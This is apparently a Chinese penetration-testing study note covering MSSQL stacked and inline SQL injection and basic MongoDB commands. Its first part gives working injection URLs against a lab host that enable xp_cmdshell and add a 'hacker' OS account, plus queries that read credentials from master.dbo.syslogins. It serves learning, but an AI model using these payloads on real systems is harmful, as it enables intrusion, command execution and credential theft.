2019-10-30:渗透测试,基础学习,mssql堆叠内联注入,mongodb基础语法
使用xp_cmdshell需要堆叠注入,http://192.168.190.148/less-1.asp?id=1';EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE; --
使用xp_cmdshell添加账户,http://192.168.190.148/less-1.asp?id=1';exec master..xp_cmdshell 'net user hacker 123456 /add';--
如果想要看到执行结果,就使用语句创建一个临时表,写入命令执行结果,在读取
数据库表 master..syslogins, master..sysprocesses
列名 name, loginname
数据库凭据 SELECT user,password FROM master.dbo.syslogins
当前用户 user, system_user, suser_sname(), is_srvrolemember('sysadmin')
waitfor delay'0:0:5',mssql的服务器延时
使用sqlmap对Mssql注入漏洞利用
同mysql
--force-pivoting 参数,强制显示结果
SRC应急响应中心
内联注入
select * from (select user,password from users)as a ;,将后边的查询语句内容,当做一个表来查询出来
堆叠注入
select * from users;select user(),version();两个sql语句堆叠在一起执行
mongo注入
mongodb介绍和使用
分布式文件存储数据库,使用c++开发的,可以存储任意数据文件,允许在服务器端执行脚本,使用json形式存储数据{键:值}
支持的变成语言有,php ruby python c++ c# java
安装,apt install mongodb
默认端口,27017
mongodb中的概念
database 数据库
collection 数据表/集合
document 数据记录行/文档
field 数据字段/域
index 索引
table joins 表连接,mongodb不支持
primary key,主键,mongodb自动将_id字段设置为主键
数据库--->集合--->文档--->域
mongodb可以有多个数据库,不同的数据库可以防止在不同的文件中
常用命令
show dbs,查询所有数据库
use 库名,切换到数据库
db,查看当前使用的数据库
db.集合名.find().pretty(),查看集合中所有数据,会将域值输出成json格式
use 库名,创建数据库
db.dropDatabase(),删除库
db.createCollection(集合名 options),创建集合
db.集合名.drop(),删除集合
show collection,查看集合
db.集合名.insert({键:值,键2:值2}),插入文档,键值对就是域,如果集合不存在,会自动创建一个集合然后插入域
文档域的值的数据类型有
布尔型
数值型
字符型
浮点型
数组
内嵌文档
null
命令库
local,存储本地服务器的集合
config,与数据库的分片有关
系统数据库
admin,相当于root数据库,该数据库是一个最高权限的数据库,在该数据库中可以执行全部的命令